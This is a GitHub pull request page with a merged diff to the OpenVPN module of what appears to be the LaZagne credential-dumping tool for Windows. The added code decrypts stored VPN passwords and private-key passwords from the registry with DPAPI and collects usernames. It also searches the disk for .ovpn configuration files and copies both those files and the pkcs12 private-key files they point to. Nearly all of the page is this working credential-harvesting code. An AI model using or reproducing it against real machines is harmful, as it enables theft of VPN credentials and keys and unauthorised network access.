Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve openvpn for windows #661

Merged
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
80 changes: 78 additions & 2 deletions Windows/lazagne/softwares/sysadmin/openvpn.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
from lazagne.config.winstructure import Win32CryptUnprotectData
from lazagne.config.constant import constant

import os

class OpenVPN(ModuleInfo):
def __init__(self):
Expand All @@ -26,7 +27,7 @@ def decrypt_password(self, encrypted_password, entropy):
entropy=entropy,
is_current_user=constant.is_current_user,
user_dpapi=constant.user_dpapi)
return result_bytes.decode("utf-8")
return result_bytes.decode("utf16")

def get_credentials(self, key):
pwd_found = []
Expand All @@ -39,7 +40,17 @@ def get_credentials(self, key):
encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0]
entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1]
password = self.decrypt_password(encrypted_password, entropy)
values['Password'] = password.decode('utf16')
values['Password'] = password
values['Username'] = winreg.QueryValueEx(skey, "username")[0].decode("utf16")
# Try to find out private key password.
# It doesn't have to exist.
try:
encrypted_private_key_password = winreg.QueryValueEx(skey, "key-data")[0]
values['PrivateKeyPassword'] = self.decrypt_password(encrypted_private_key_password, entropy)
except Exception as e:
pass

values.update(self.collect_extra_data_for_profile(name_skey))
except Exception as e:
self.debug(str(e))
pwd_found.append(values)
Expand All @@ -48,6 +59,71 @@ def get_credentials(self, key):

return pwd_found

@staticmethod
def get_vpn_config_file_path(profile_name):
possible_openvpn_config_directories = [
'C:\\Program Files\\OpenVPN\\config',
'C:\\Program Files (x86)\\OpenVPN\\config',
os.path.join(constant.profile['USERPROFILE'], 'OpenVPN', "config")
]

# It needs to do a recursive search in directories `possible_openvpn_config_directories` to find config file for `profile_name`
# I do not want to make this function as a method because I expect this is the only usage of it
def search_ovpn_files_in_directory_recursively(directory):
try:
for item in os.listdir(directory):
item_path = os.path.join(directory, item)
if os.path.isdir(item_path):
yield from search_ovpn_files_in_directory_recursively(item_path)

elif os.path.isfile(item_path) and item.endswith(".ovpn"):
yield item_path
except Exception:
pass

def search_all_ovpn_files():
for directory in possible_openvpn_config_directories:
yield from search_ovpn_files_in_directory_recursively(directory=directory)

for some_openvpn_config_file in search_all_ovpn_files():
if os.path.basename(some_openvpn_config_file) == "%s.ovpn" % profile_name:
return some_openvpn_config_file

def collect_extra_data_for_profile(self, profile_name):
result = dict()
config_file = self.get_vpn_config_file_path(profile_name)
if not config_file:
return result

with open(config_file, "r") as r:
profile_config = r.read()
# Config file is multiline. So in purpose to achive more readable result it wrapped around with some prefix and postfix
result['Config ((%s))' % config_file] = "-----START_CONFIG_FILE-----\n%s\n-----END_CONFIG_FILE-----" % (
profile_config)

# Do a simple config file parse to find out private key
for line in profile_config.splitlines():
line = line.strip()
if not line:
continue
try:
parameter, value = line.split(maxsplit=1)
except Exception:
continue

# TODO: add more parameters to retrieve
if parameter in ["pkcs12", ]:
try:
with open(value, 'rb') as r:
file_content = r.read()
# pkcs12_key is binary data. It should to do something to make result more readable
except Exception as e:
file_content = str(e)

result["%s file content (%s)" % (parameter, value)] = file_content

return result

def run(self):
openvpn_key = self.check_openvpn_installed()
if openvpn_key:
Expand Down